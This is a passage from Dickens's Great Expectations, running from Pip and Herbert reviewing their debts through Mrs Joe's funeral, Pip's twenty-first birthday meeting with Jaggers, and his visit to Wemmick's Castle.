+Barnard's Inn and the date very carefully added. Herbert would also +take a sheet of paper, and write across it with similar +formalities, "Memorandum of Herbert's debts." + +Each of us would then refer to a confused heap of papers at his +side, which had been thrown into drawers, worn into holes in +Pockets, half-burnt in lighting candles, stuck for weeks into the +looking-glass, and otherwise damaged. The sound of our pens going, +refreshed us exceedingly, insomuch that I sometimes found it +difficult to distinguish between this edifying business proceeding +and actually paying the money. In point of meritorious character, +the two things seemed about equal. + +When we had written a little while, I would ask Herbert how he got +on? Herbert probably would have been scratching his head in a most +rueful manner at the sight of his accumulating figures. + +"They are mounting up, Handel," Herbert would say; "upon my life, +they are mounting up." + +"Be firm, Herbert," I would retort, plying my own pen with great +assiduity. "Look the thing in the face. Look into your affairs. +Stare them out of countenance." + +"So I would, Handel, only they are staring me out of countenance." + +However, my determined manner would have its effect, and Herbert +would fall to work again. After a time he would give up once more, +on the plea that he had not got Cobbs's bill, or Lobbs's, or +Nobbs's, as the case might be. + +"Then, Herbert, estimate; estimate it in round numbers, and put it +down." + +"What a fellow of resource you are!" my friend would reply, with +admiration. "Really your business powers are very remarkable." + +I thought so too. I established with myself on these occasions, the +reputation of a first-rate man of business - prompt, decisive, +energetic, clear, cool-headed. When I had got all my +responsibilities down upon my list, I compared each with the bill, +and ticked it off. My self-approval when I ticked an entry was +quite a luxurious sensation. When I had no more ticks to make, I +folded all my bills up uniformly, docketed each on the back, and +tied the whole into a symmetrical bundle. Then I did the same for +Herbert (who modestly said he had not my administrative genius), +and felt that I had brought his affairs into a focus for him. + +My business habits had one other bright feature, which i called +"leaving a Margin." For example; supposing Herbert's debts to be +one hundred and sixty-four pounds four-and-twopence, I would say, +"Leave a margin, and put them down at two hundred." Or, supposing +my own to be four times as much, I would leave a margin, and put +them down at seven hundred. I had the highest opinion of the wisdom +of this same Margin, but I am bound to acknowledge that on looking +back, I deem it to have been an expensive device. For, we always +ran into new debt immediately, to the full extent of the margin, +and sometimes, in the sense of freedom and solvency it imparted, +got pretty far on into another margin. + +But there was a calm, a rest, a virtuous hush, consequent on these +examinations of our affairs that gave me, for the time, an +admirable opinion of myself. Soothed by my exertions, my method, +and Herbert's compliments, I would sit with his symmetrical bundle +and my own on the table before me among the stationary, and feel +like a Bank of some sort, rather than a private individual. + +We shut our outer door on these solemn occasions, in order that we +might not be interrupted. I had fallen into my serene state one +evening, when we heard a letter dropped through the slit in the +said door, and fall on the ground. "It's for you, Handel," said +Herbert, going out and coming back with it, "and I hope there is +nothing the matter." This was in allusion to its heavy black seal +and border. + +The letter was signed TRABB & CO., and its contents were simply, +that I was an honoured sir, and that they begged to inform me that +Mrs. J. Gargery had departed this life on Monday last, at twenty +minutes past six in the evening, and that my attendance was +requested at the interment on Monday next at three o'clock in the +afternoon. + + +Chapter 35 + +It was the first time that a grave had opened in my road of life, +and the gap it made in the smooth ground was wonderful. The figure +of my sister in her chair by the kitchen fire, haunted me night and +day. That the place could possibly be, without her, was something +my mind seemed unable to compass; and whereas she had seldom or +never been in my thoughts of late, I had now the strangest ideas +that she was coming towards me in the street, or that she would +presently knock at the door. In my rooms too, with which she had +never been at all associated, there was at once the blankness of +death and a perpetual suggestion of the sound of her voice or the +turn of her face or figure, as if she were still alive and had been +often there. + +Whatever my fortunes might have been, I could scarcely have +recalled my sister with much tenderness. But I suppose there is a +shock of regret which may exist without much tenderness. Under its +influence (and perhaps to make up for the want of the softer +feeling) I was seized with a violent indignation against the +assailant from whom she had suffered so much; and I felt that on +sufficient proof I could have revengefully pursued Orlick, or any +one else, to the last extremity. + +Having written to Joe, to offer consolation, and to assure him that +I should come to the funeral, I passed the intermediate days in the +curious state of mind I have glanced at. I went down early in the +morning, and alighted at the Blue Boar in good time to walk over to +the forge. + +It was fine summer weather again, and, as I walked along, the times +when I was a little helpless creature, and my sister did not spare +me, vividly returned. But they returned with a gentle tone upon +them that softened even the edge of Tickler. For now, the very +breath of the beans and clover whispered to my heart that the day +must come when it would be well for my memory that others walking +in the sunshine should be softened as they thought of me. + +At last I came within sight of the house, and saw that Trabb and +Co. had put in a funereal execution and taken possession. Two +dismally absurd persons, each ostentatiously exhibiting a crutch +done up in a black bandage - as if that instrument could possibly +communicate any comfort to anybody - were posted at the front door; +and in one of them I recognized a postboy discharged from the Boar +for turning a young couple into a sawpit on their bridal morning, +in consequence of intoxication rendering it necessary for him to +ride his horse clasped round the neck with both arms. All the +children of the village, and most of the women, were admiring these +sable warders and the closed windows of the house and forge; and as +I came up, one of the two warders (the postboy) knocked at the door +- implying that I was far too much exhausted by grief, to have +strength remaining to knock for myself. + +Another sable warder (a carpenter, who had once eaten two geese for +a wager) opened the door, and showed me into the best parlour. +Here, Mr. Trabb had taken unto himself the best table, and had got +all the leaves up, and was holding a kind of black Bazaar, with the +aid of a quantity of black pins. At the moment of my arrival, he +had just finished putting somebody's hat into black long-clothes, +like an African baby; so he held out his hand for mine. But I, +misled by the action, and confused by the occasion, shook hands +with him with every testimony of warm affection. + +Poor dear Joe, entangled in a little black cloak tied in a large +bow under his chin, was seated apart at the upper end of the room; +where, as chief mourner, he had evidently been stationed by Trabb. +When I bent down and said to him, "Dear Joe, how are you?" he said, +"Pip, old chap, you knowed her when she were a fine figure of a--" +and clasped my hand and said no more. + +Biddy, looking very neat and modest in her black dress, went +quietly here and there, and was very helpful. When I had spoken to +Biddy, as I thought it not a time for talking I went and sat down +near Joe, and there began to wonder in what part of the house it - +she - my sister - was. The air of the parlour being faint with the +smell of sweet cake, I looked about for the table of refreshments; +it was scarcely visible until one had got accustomed to the gloom, +but there was a cut-up plum-cake upon it, and there were cut-up +oranges, and sandwiches, and biscuits, and two decanters that I +knew very well as ornaments, but had never seen used in all my +life; one full of port, and one of sherry. Standing at this table, +I became conscious of the servile Pumblechook in a black cloak and +several yards of hatband, who was alternately stuffing himself, and +making obsequious movements to catch my attention. The moment he +succeeded, he came over to me (breathing sherry and crumbs), and +said in a subdued voice, "May I, dear sir?" and did. I then +descried Mr. and Mrs. Hubble; the last-named in a decent speechless +paroxysm in a corner. We were all going to "follow," and were all +in course of being tied up separately (by Trabb) into ridiculous +bundles. + +"Which I meantersay, Pip," Joe whispered me, as we were being what +Mr. Trabb called "formed" in the parlour, two and two - and it was +dreadfully like a preparation for some grim kind of dance; "which I +meantersay, sir, as I would in preference have carried her to the +church myself, along with three or four friendly ones wot come to +it with willing harts and arms, but it were considered wot the +neighbours would look down on such and would be of opinions as it +were wanting in respect." + +"Pocket-handkerchiefs out, all!" cried Mr. Trabb at this point, in a +depressed business-like voice. "Pocket-handkerchiefs out! We are +ready!" + +So, we all put our pocket-handkerchiefs to our faces, as if our +noses were bleeding, and filed out two and two; Joe and I; Biddy +and Pumblechook; Mr. and Mrs. Hubble. The remains of my poor sister +had been brought round by the kitchen door, and, it being a point +of Undertaking ceremony that the six bearers must be stifled and +blinded under a horrible black velvet housing with a white border, +the whole looked like a blind monster with twelve human legs, +shuffling and blundering along, under the guidance of two keepers - +the postboy and his comrade. + +The neighbourhood, however, highly approved of these arrangements, +and we were much admired as we went through the village; the more +youthful and vigorous part of the community making dashes now and +then to cut us off, and lying in wait to intercept us at points of +vantage. At such times the more exuberant among them called out in +an excited manner on our emergence round some corner of expectancy, +"Here they come!" "Here they are!" and we were all but cheered. In +this progress I was much annoyed by the abject Pumblechook, who, +being behind me, persisted all the way as a delicate attention in +arranging my streaming hatband, and smoothing my cloak. My thoughts +were further distracted by the excessive pride of Mr. and Mrs. +Hubble, who were surpassingly conceited and vainglorious in being +members of so distinguished a procession. + +And now, the range of marshes lay clear before us, with the sails +of the ships on the river growing out of it; and we went into the +churchyard, close to the graves of my unknown parents, Philip +Pirrip, late of this parish, and Also Georgiana, Wife of the Above. +And there, my sister was laid quietly in the earth while the larks +sang high above it, and the light wind strewed it with beautiful +shadows of clouds and trees. + +Of the conduct of the worldly-minded Pumblechook while this was +doing, I desire to say no more than it was all addressed to me; and +that even when those noble passages were read which remind humanity +how it brought nothing into the world and can take nothing out, and +how it fleeth like a shadow and never continueth long in one stay, +I heard him cough a reservation of the case of a young gentleman +who came unexpectedly into large property. When we got back, he had +the hardihood to tell me that he wished my sister could have known +I had done her so much honour, and to hint that she would have +considered it reasonably purchased at the price of her death. After +that, he drank all the rest of the sherry, and Mr. Hubble drank the +port, and the two talked (which I have since observed to be +customary in such cases) as if they were of quite another race from +the deceased, and were notoriously immortal. Finally, he went away +with Mr. and Mrs. Hubble - to make an evening of it, I felt sure, and +to tell the Jolly Bargemen that he was the founder of my fortunes +and my earliest benefactor. + +When they were all gone, and when Trabb and his men - but not his +boy: I looked for him - had crammed their mummery into bags, and +were gone too, the house felt wholesomer. Soon afterwards, Biddy, +Joe, and I, had a cold dinner together; but we dined in the best +parlour, not in the old kitchen, and Joe was so exceedingly +particular what he did with his knife and fork and the saltcellar +and what not, that there was great restraint upon us. But after +dinner, when I made him take his pipe, and when I had loitered with +him about the forge, and when we sat down together on the great +block of stone outside it, we got on better. I noticed that after +the funeral Joe changed his clothes so far, as to make a compromise +between his Sunday dress and working dress: in which the dear +fellow looked natural, and like the Man he was. + +He was very much pleased by my asking if I might sleep in my own +little room, and I was pleased too; for, I felt that I had done +rather a great thing in making the request. When the shadows of +evening were closing in, I took an opportunity of getting into the +garden with Biddy for a little talk. + +"Biddy," said I, "I think you might have written to me about these +sad matters." + +"Do you, Mr. Pip?" said Biddy. "I should have written if I had +thought that." + +"Don't suppose that I mean to be unkind, Biddy, when I say I +consider that you ought to have thought that." + +"Do you, Mr. Pip?" + +She was so quiet, and had such an orderly, good, and pretty way +with her, that I did not like the thought of making her cry again. +After looking a little at her downcast eyes as she walked beside +me, I gave up that point. + +"I suppose it will be difficult for you to remain here now, Biddy +dear?" + +"Oh! I can't do so, Mr. Pip," said Biddy, in a tone of regret, but +still of quiet conviction. "I have been speaking to Mrs. Hubble, and +I am going to her to-morrow. I hope we shall be able to take some +care of Mr. Gargery, together, until he settles down." + +"How are you going to live, Biddy? If you want any mo--" + +"How am I going to live?" repeated Biddy, striking in, with a +momentary flush upon her face. "I'll tell you, Mr. Pip. I am going +to try to get the place of mistress in the new school nearly +finished here. I can be well recommended by all the neighbours, and +I hope I can be industrious and patient, and teach myself while I +teach others. You know, Mr. Pip," pursued Biddy, with a smile, as +she raised her eyes to my face, "the new schools are not like the +old, but I learnt a good deal from you after that time, and have +had time since then to improve." + +"I think you would always improve, Biddy, under any circumstances." + +"Ah! Except in my bad side of human nature," murmured Biddy. + +It was not so much a reproach, as an irresistible thinking aloud. +Well! I thought I would give up that point too. So, I walked a +little further with Biddy, looking silently at her downcast eyes. + +"I have not heard the particulars of my sister's death, Biddy." + +"They are very slight, poor thing. She had been in one of her bad +states - though they had got better of late, rather than worse - +for four days, when she came out of it in the evening, just at +teatime, and said quite plainly, 'Joe.' As she had never said any +word for a long while, I ran and fetched in Mr. Gargery from the +forge. She made signs to me that she wanted him to sit down close +to her, and wanted me to put her arms round his neck. So I put them +round his neck, and she laid her head down on his shoulder quite +content and satisfied. And so she presently said 'Joe' again, and +once 'Pardon,' and once 'Pip.' And so she never lifted her head up +any more, and it was just an hour later when we laid it down on her +own bed, because we found she was gone." + +Biddy cried; the darkening garden, and the lane, and the stars that +were coming out, were blurred in my own sight. + +"Nothing was ever discovered, Biddy?" + +"Nothing." + +"Do you know what is become of Orlick?" + +"I should think from the colour of his clothes that he is working +in the quarries." + +"Of course you have seen him then? - Why are you looking at that +dark tree in the lane?" + +"I saw him there, on the night she died." + +"That was not the last time either, Biddy?" + +"No; I have seen him there, since we have been walking here. - It +is of no use," said Biddy, laying her hand upon my arm, as I was +for running out, "you know I would not deceive you; he was not +there a minute, and he is gone." + +It revived my utmost indignation to find that she was still pursued +by this fellow, and I felt inveterate against him. I told her so, +and told her that I would spend any money or take any pains to +drive him out of that country. By degrees she led me into more +temperate talk, and she told me how Joe loved me, and how Joe never +complained of anything - she didn't say, of me; she had no need; I +knew what she meant - but ever did his duty in his way of life, +with a strong hand, a quiet tongue, and a gentle heart. + +"Indeed, it would be hard to say too much for him," said I; "and +Biddy, we must often speak of these things, for of course I shall +be often down here now. I am not going to leave poor Joe alone." + +Biddy said never a single word. + +"Biddy, don't you hear me?" + +"Yes, Mr. Pip." + +"Not to mention your calling me Mr. Pip - which appears to me to be +in bad taste, Biddy - what do you mean?" + +"What do I mean?" asked Biddy, timidly. + +"Biddy," said I, in a virtuously self-asserting manner, "I must +request to know what you mean by this?" + +"By this?" said Biddy. + +"Now, don't echo," I retorted. "You used not to echo, Biddy." + +"Used not!" said Biddy. "O Mr. Pip! Used!" + +Well! I rather thought I would give up that point too. After +another silent turn in the garden, I fell back on the main +position. + +"Biddy," said I, "I made a remark respecting my coming down here +often, to see Joe, which you received with a marked silence. Have +the goodness, Biddy, to tell me why." + +"Are you quite sure, then, that you WILL come to see him often?" +asked Biddy, stopping in the narrow garden walk, and looking at me +under the stars with a clear and honest eye. + +"Oh dear me!" said I, as if I found myself compelled to give up +Biddy in despair. "This really is a very bad side of human +nature! Don't say any more, if you please, Biddy. This shocks me +very much." + +For which cogent reason I kept Biddy at a distance during supper, +and, when I went up to my own old little room, took as stately a +leave of her as I could, in my murmuring soul, deem reconcilable +with the churchyard and the event of the day. As often as I was +restless in the night, and that was every quarter of an hour, I +reflected what an unkindness, what an injury, what an injustice, +Biddy had done me. + +Early in the morning, I was to go. Early in the morning, I was out, +and looking in, unseen, at one of the wooden windows of the forge. +There I stood, for minutes, looking at Joe, already at work with a +glow of health and strength upon his face that made it show as if +the bright sun of the life in store for him were shining on it. + +"Good-bye, dear Joe! - No, don't wipe it off - for God's sake, give +me your blackened hand! - I shall be down soon, and often." + +"Never too soon, sir," said Joe, "and never too often, Pip!" + +Biddy was waiting for me at the kitchen door, with a mug of new +milk and a crust of bread. "Biddy," said I, when I gave her my hand +at parting, "I am not angry, but I am hurt." + +"No, don't be hurt," she pleaded quite pathetically; "let only me +be hurt, if I have been ungenerous." + +Once more, the mists were rising as I walked away. If they +disclosed to me, as I suspect they did, that I should not come +back, and that Biddy was quite right, all I can say is - they were +quite right too. + + +Chapter 36 + +Herbert and I went on from bad to worse, in the way of increasing +our debts, looking into our affairs, leaving Margins, and the like +exemplary transactions; and Time went on, whether or no, as he has +a way of doing; and I came of age - in fulfilment of Herbert's +prediction, that I should do so before I knew where I was. + +Herbert himself had come of age, eight months before me. As he had +nothing else than his majority to come into, the event did not make +a profound sensation in Barnard's Inn. But we had looked forward to +my one-and-twentieth birthday, with a crowd of speculations and +anticipations, for we had both considered that my guardian could +hardly help saying something definite on that occasion. + +I had taken care to have it well understood in Little Britain, when +my birthday was. On the day before it, I received an official note +from Wemmick, informing me that Mr. Jaggers would be glad if I would +call upon him at five in the afternoon of the auspicious day. This +convinced us that something great was to happen, and threw me into +an unusual flutter when I repaired to my guardian's office, a model +of punctuality. + +In the outer office Wemmick offered me his congratulations, and +incidentally rubbed the side of his nose with a folded piece of +tissuepaper that I liked the look of. But he said nothing +respecting it, and motioned me with a nod into my guardian's room. +It was November, and my guardian was standing before his fire +leaning his back against the chimney-piece, with his hands under +his coattails. + +"Well, Pip," said he, "I must call you Mr. Pip to-day. +Congratulations, Mr. Pip." + +We shook hands - he was always a remarkably short shaker - and I +thanked him. + +"Take a chair, Mr. Pip," said my guardian. + +As I sat down, and he preserved his attitude and bent his brows at +his boots, I felt at a disadvantage, which reminded me of that old +time when I had been put upon a tombstone. The two ghastly casts on +the shelf were not far from him, and their expression was as if +they were making a stupid apoplectic attempt to attend to the +conversation. + +"Now my young friend," my guardian began, as if I were a witness in +the box, "I am going to have a word or two with you." + +"If you please, sir." + +"What do you suppose," said Mr. Jaggers, bending forward to look at +the ground, and then throwing his head back to look at the ceiling, +"what do you suppose you are living at the rate of?" + +"At the rate of, sir?" + +"At," repeated Mr. Jaggers, still looking at the ceiling, "the - +rate - of?" And then looked all round the room, and paused with his +pocket-handkerchief in his hand, half way to his nose. + +I had looked into my affairs so often, that I had thoroughly +destroyed any slight notion I might ever have had of their +bearings. Reluctantly, I confessed myself quite unable to answer +the question. This reply seemed agreeable to Mr. Jaggers, who said, +"I thought so!" and blew his nose with an air of satisfaction. + +"Now, I have asked you a question, my friend," said Mr. Jaggers. +"Have you anything to ask me?" + +"Of course it would be a great relief to me to ask you several +questions, sir; but I remember your prohibition." + +"Ask one," said Mr. Jaggers. + +"Is my benefactor to be made known to me to-day?" + +"No. Ask another." + +"Is that confidence to be imparted to me soon?" + +"Waive that, a moment," said Mr. Jaggers, "and ask another." + +I looked about me, but there appeared to be now no possible escape +from the inquiry, "Have - I - anything to receive, sir?" On that, +Mr. Jaggers said, triumphantly, "I thought we should come to it!" +and called to Wemmick to give him that piece of paper. Wemmick +appeared, handed it in, and disappeared. + +"Now, Mr. Pip," said Mr. Jaggers, "attend, if you please. You have +been drawing pretty freely here; your name occurs pretty often in +Wemmick's cash-book; but you are in debt, of course?" + +"I am afraid I must say yes, sir." + +"You know you must say yes; don't you?" said Mr. Jaggers. + +"Yes, sir." + +"I don't ask you what you owe, because you don't know; and if you +did know, you wouldn't tell me; you would say less. Yes, yes, my +friend," cried Mr. Jaggers, waving his forefinger to stop me, as I +made a show of protesting: "it's likely enough that you think you +wouldn't, but you would. You'll excuse me, but I know better than +you. Now, take this piece of paper in your hand. You have got it? +Very good. Now, unfold it and tell me what it is." + +"This is a bank-note," said I, "for five hundred pounds." + +"That is a bank-note," repeated Mr. Jaggers, "for five hundred +pounds. And a very handsome sum of money too, I think. You consider +it so?" + +"How could I do otherwise!" + +"Ah! But answer the question," said Mr. Jaggers. + +"Undoubtedly." + +"You consider it, undoubtedly, a handsome sum of money. Now, that +handsome sum of money, Pip, is your own. It is a present to you on +this day, in earnest of your expectations. And at the rate of that +handsome sum of money per annum, and at no higher rate, you are to +live until the donor of the whole appears. That is to say, you will +now take your money affairs entirely into your own hands, and you +will draw from Wemmick one hundred and twenty-five pounds per +quarter, until you are in communication with the fountain-head, and +no longer with the mere agent. As I have told you before, I am the +mere agent. I execute my instructions, and I am paid for doing so. +I think them injudicious, but I am not paid for giving any opinion +on their merits." + +I was beginning to express my gratitude to my benefactor for the +great liberality with which I was treated, when Mr. Jaggers stopped +me. "I am not paid, Pip," said he, coolly, "to carry your words to +any one;" and then gathered up his coat-tails, as he had gathered +up the subject, and stood frowning at his boots as if he suspected +them of designs against him. + +After a pause, I hinted: + +"There was a question just now, Mr. Jaggers, which you desired me to +waive for a moment. I hope I am doing nothing wrong in asking it +again?" + +"What is it?" said he. + +I might have known that he would never help me out; but it took me +aback to have to shape the question afresh, as if it were quite +new. "Is it likely," I said, after hesitating, "that my patron, the +fountain-head you have spoken of, Mr. Jaggers, will soon--" there I +delicately stopped. + +"Will soon what?" asked Mr. Jaggers. "That's no question as it +stands, you know." + +"Will soon come to London," said I, after casting about for a +precise form of words, "or summon me anywhere else?" + +"Now here," replied Mr. Jaggers, fixing me for the first time with +his dark deep-set eyes, "we must revert to the evening when we +first encountered one another in your village. What did I tell you +then, Pip?" + +"You told me, Mr. Jaggers, that it might be years hence when that +person appeared." + +"Just so," said Mr. Jaggers; "that's my answer." + +As we looked full at one another, I felt my breath come quicker in +my strong desire to get something out of him. And as I felt that it +came quicker, and as I felt that he saw that it came quicker, I +felt that I had less chance than ever of getting anything out of +him. + +"Do you suppose it will still be years hence, Mr. Jaggers?" + +Mr. Jaggers shook his head - not in negativing the question, but in +altogether negativing the notion that he could anyhow be got to +answer it - and the two horrible casts of the twitched faces +looked, when my eyes strayed up to them, as if they had come to a +crisis in their suspended attention, and were going to sneeze. + +"Come!" said Mr. Jaggers, warming the backs of his legs with the +backs of his warmed hands, "I'll be plain with you, my friend Pip. +That's a question I must not be asked. You'll understand that, +better, when I tell you it's a question that might compromise me. +Come! I'll go a little further with you; I'll say something more." + +He bent down so low to frown at his boots, that he was able to rub +the calves of his legs in the pause he made. + +"When that person discloses," said Mr. Jaggers, straightening +himself, "you and that person will settle your own affairs. When +that person discloses, my part in this business will cease and +determine. When that person discloses, it will not be necessary for +me to know anything about it. And that's all I have got to say." + +We looked at one another until I withdrew my eyes, and looked +thoughtfully at the floor. From this last speech I derived the +notion that Miss Havisham, for some reason or no reason, had not +taken him into her confidence as to her designing me for Estella; +that he resented this, and felt a jealousy about it; or that he +really did object to that scheme, and would have nothing to do with +it. When I raised my eyes again, I found that he had been shrewdly +looking at me all the time, and was doing so still. + +"If that is all you have to say, sir," I remarked, "there can be +nothing left for me to say." + +He nodded assent, and pulled out his thief-dreaded watch, and asked +me where I was going to dine? I replied at my own chambers, with +Herbert. As a necessary sequence, I asked him if he would favour us +with his company, and he promptly accepted the invitation. But he +insisted on walking home with me, in order that I might make no +extra preparation for him, and first he had a letter or two to +write, and (of course) had his hands to wash. So, I said I would go +into the outer office and talk to Wemmick. + +The fact was, that when the five hundred pounds had come into my +pocket, a thought had come into my head which had been often there +before; and it appeared to me that Wemmick was a good person to +advise with, concerning such thought. + +He had already locked up his safe, and made preparations for going +home. He had left his desk, brought out his two greasy office +candlesticks and stood them in line with the snuffers on a slab +near the door, ready to be extinguished; he had raked his fire low, +put his hat and great-coat ready, and was beating himself all over +the chest with his safe-key, as an athletic exercise after +business. + +"Mr. Wemmick," said I, "I want to ask your opinion. I am very +desirous to serve a friend." + +Wemmick tightened his post-office and shook his head, as if his +opinion were dead against any fatal weakness of that sort. + +"This friend," I pursued, "is trying to get on in commercial life, +but has no money, and finds it difficult and disheartening to make +a beginning. Now, I want somehow to help him to a beginning." + +"With money down?" said Wemmick, in a tone drier than any sawdust. + +"With some money down," I replied, for an uneasy remembrance shot +across me of that symmetrical bundle of papers at home; "with some +money down, and perhaps some anticipation of my expectations." + +"Mr. Pip," said Wemmick, "I should like just to run over with you on +my fingers, if you please, the names of the various bridges up as +high as Chelsea Reach. Let's see; there's London, one; Southwark, +two; Blackfriars, three; Waterloo, four; Westminster, five; +Vauxhall, six." He had checked off each bridge in its turn, with +the handle of his safe-key on the palm of his hand. "There's as +many as six, you see, to choose from." + +"I don't understand you," said I. + +"Choose your bridge, Mr. Pip," returned Wemmick, "and take a walk +upon your bridge, and pitch your money into the Thames over the +centre arch of your bridge, and you know the end of it. Serve a +friend with it, and you may know the end of it too - but it's a +less pleasant and profitable end." + +I could have posted a newspaper in his mouth, he made it so wide +after saying this. + +"This is very discouraging," said I. + +"Meant to be so," said Wemmick. + +"Then is it your opinion," I inquired, with some little +indignation, "that a man should never--" + +" - Invest portable property in a friend?" said Wemmick. "Certainly +he should not. Unless he wants to get rid of the friend - and then +it becomes a question how much portable property it may be worth to +get rid of him." + +"And that," said I, "is your deliberate opinion, Mr. Wemmick?" + +"That," he returned, "is my deliberate opinion in this office." + +"Ah!" said I, pressing him, for I thought I saw him near a loophole +here; "but would that be your opinion at Walworth?" + +"Mr. Pip," he replied, with gravity, "Walworth is one place, and +this office is another. Much as the Aged is one person, and Mr. +Jaggers is another. They must not be confounded together. My +Walworth sentiments must be taken at Walworth; none but my official +sentiments can be taken in this office." + +"Very well," said I, much relieved, "then I shall look you up at +Walworth, you may depend upon it." + +"Mr. Pip," he returned, "you will be welcome there, in a private and +personal capacity." + +We had held this conversation in a low voice, well knowing my +guardian's ears to be the sharpest of the sharp. As he now appeared +in his doorway, towelling his hands, Wemmick got on his greatcoat +and stood by to snuff out the candles. We all three went into the +street together, and from the door-step Wemmick turned his way, and +Mr. Jaggers and I turned ours. + +I could not help wishing more than once that evening, that Mr. +Jaggers had had an Aged in Gerrard-street, or a Stinger, or a +Something, or a Somebody, to unbend his brows a little. It was an +uncomfortable consideration on a twenty-first birthday, that coming +of age at all seemed hardly worth while in such a guarded and +suspicious world as he made of it. He was a thousand times better +informed and cleverer than Wemmick, and yet I would a thousand +times rather have had Wemmick to dinner. And Mr. Jaggers made not me +alone intensely melancholy, because, after he was gone, Herbert +said of himself, with his eyes fixed on the fire, that he thought +he must have committed a felony and forgotten the details of it, he +felt so dejected and guilty. + + +Chapter 37 + +Deeming Sunday the best day for taking Mr. Wemmick's Walworth +sentiments, I devoted the next ensuing Sunday afternoon to a +pilgrimage to the Castle. On arriving before the battlements, I +found the Union Jack flying and the drawbridge up; but undeterred +by this show of defiance and resistance, I rang at the gate, and +was admitted in a most pacific manner by the Aged. + +"My son, sir," said the old man, after securing the drawbridge, +"rather had it in his mind that you might happen to drop in, and he +left word that he would soon be home from his afternoon's walk. He +is very regular in his walks, is my son. Very regular in +everything, is my son." + +I nodded at the old gentleman as Wemmick himself might have nodded, +and we went in and sat down by the fireside. + +"You made acquaintance with my son, sir," said the old man, in his +chirping way, while he warmed his hands at the blaze, "at his +office, I expect?" I nodded. "Hah! I have heerd that my son is a +wonderful hand at his business, sir?" I nodded hard. "Yes; so they +tell me. His business is the Law?" I nodded harder. "Which makes it +more surprising in my son," said the old man, "for he was not +brought up to the Law, but to the Wine-Coopering." + +Curious to know how the old gentleman stood informed concerning the +reputation of Mr. Jaggers, I roared that name at him. He threw me +into the greatest confusion by laughing heartily and replying in a +very sprightly manner, "No, to be sure; you're right." And to this +hour I have not the faintest notion what he meant, or what joke he +thought I had made. + +As I could not sit there nodding at him perpetually, without making +some other attempt to interest him, I shouted at inquiry whether +his own calling in life had been "the Wine-Coopering." By dint of +straining that term out of myself several times and tapping the old +gentleman on the chest to associate it with him, I at last +succeeded in making my meaning understood. + +"No," said the old gentleman; "the warehousing, the warehousing. +First, over yonder;" he appeared to mean up the chimney, but I +believe he intended to refer me to Liverpool; "and then in the City +of London here. However, having an infirmity - for I am hard of +hearing, sir--" + +I expressed in pantomime the greatest astonishment. + +" - Yes, hard of hearing; having that infirmity coming upon me, my +son he went into the Law, and he took charge of me, and he by +little and little made out this elegant and beautiful property. But +returning to what you said, you know," pursued the old man, again +laughing heartily, "what I say is, No to be sure; you're right." + +I was modestly wondering whether my utmost ingenuity would have +enabled me to say anything that would have amused him half as much +as this imaginary pleasantry, when I was startled by a sudden click +in the wall on one side of the chimney, and the ghostly tumbling +open of a little wooden flap with "JOHN" upon it. The old man, +following my eyes, cried with great triumph, "My son's come home!" +and we both went out to the drawbridge. + +It was worth any money to see Wemmick waving a salute to me from +the other side of the moat, when we might have shaken hands across +it with the greatest ease. The Aged was so delighted to work the +drawbridge, that I made no offer to assist him, but stood quiet +until Wemmick had come across, and had presented me to Miss +Skiffins: a lady by whom he was accompanied. + +Miss Skiffins was of a wooden appearance, and was, like her escort, +in the post-office branch of the service. She might have been some +two or three years younger than Wemmick, and I judged her to stand +possessed of portable property. The cut of her dress from the waist +upward, both before and behind, made her figure very like a boy's +kite; and I might have pronounced her gown a little too decidedly +orange, and her gloves a little too intensely green. But she seemed +to be a good sort of fellow, and showed a high regard for the Aged. +I was not long in discovering that she was a frequent visitor at +the Castle; for, on our going in, and my complimenting Wemmick on +his ingenious contrivance for announcing himself to the Aged, he +begged me to give my attention for a moment to the other side of +the chimney, and disappeared. Presently another click came, and +another little door tumbled open with "Miss Skiffins" on it; then +Miss Skiffins shut up and John tumbled open; then Miss Skiffins and +John both tumbled open together, and finally shut up together. On +Wemmick's return from working these mechanical appliances, I +expressed the great admiration with which I regarded them, and he +said, "Well, you know, they're both pleasant and useful to the +Aged. And by George, sir, it's a thing worth mentioning, that of +all the people who come to this gate, the secret of those pulls is +only known to the Aged, Miss Skiffins, and me!" + +"And Mr. Wemmick made them," added Miss Skiffins, "with his own +hands out of his own head." + +While Miss Skiffins was taking off her bonnet (she retained her +green gloves during the evening as an outward and visible sign that +there was company), Wemmick invited me to take a walk with him +round the property, and see how the island looked in wintertime. +Thinking that he did this to give me an opportunity of taking his +Walworth sentiments, I seized the opportunity as soon as we were +out of the Castle. + +Having thought of the matter with care, I approached my subject as +if I had never hinted at it before. I informed Wemmick that I was +anxious in behalf of Herbert Pocket, and I told him how we had +first met, and how we had fought. I glanced at Herbert's home, and +at his character, and at his having no means but such as he was +dependent on his father for: those, uncertain and unpunctual. + +I alluded to the advantages I had derived in my first rawness and +ignorance from his society, and I confessed that I feared I had but +ill repaid them, and that he might have done better without me and +my expectations. Keeping Miss Havisham in the background at a great +distance, I still hinted at the possibility of my having competed +with him in his prospects, and at the certainty of his possessing a +generous soul, and being far above any mean distrusts, +retaliations, or designs. For all these reasons (I told Wemmick), +and because he was my young companion and friend, and I had a great +affection for him, I wished my own good fortune to reflect some +rays upon him, and therefore I sought advice from Wemmick's +experience and knowledge of men and affairs, how I could best try +with my resources to help Herbert to some present income - say of a +hundred a year, to keep him in good hope and heart - and gradually +to buy him on to some small partnership. I begged Wemmick, in +conclusion, to understand that my help must always be rendered +without Herbert's knowledge or suspicion, and that there was no one +else in the world with whom I could advise. I wound up by laying my +hand upon his shoulder, and saying, "I can't help confiding in you, +though I know it must be troublesome to you; but that is your +fault, in having ever brought me here." + +Wemmick was silent for a little while, and then said with a kind of +start, "Well you know, Mr. Pip, I must tell you one thing. This is +devilish good of you." + +"Say you'll help me to be good then," said I. + +"Ecod," replied Wemmick, shaking his head, "that's not my trade." + +"Nor is this your trading-place," said I. + +"You are right," he returned. "You hit the nail on the head. Mr. +Pip, I'll put on my considering-cap, and I think all you want to +do, may be done by degrees. Skiffins (that's her brother) is an +accountant and agent. I'll look him up and go to work for you." + +"I thank you ten thousand times." + +"On the contrary," said he, "I thank you, for though we are +strictly in our private and personal capacity, still it may be +mentioned that there are Newgate cobwebs about, and it brushes them +away." + +After a little further conversation to the same effect, we returned +into the Castle where we found Miss Skiffins preparing tea. The +responsible duty of making the toast was delegated to the Aged, and +that excellent old gentleman was so intent upon it that he seemed +to me in some danger of melting his eyes. It was no nominal meal +that we were going to make, but a vigorous reality. The Aged +prepared such a haystack of buttered toast, that I could scarcely +see him over it as it simmered on an iron stand hooked on to the +top-bar; while Miss 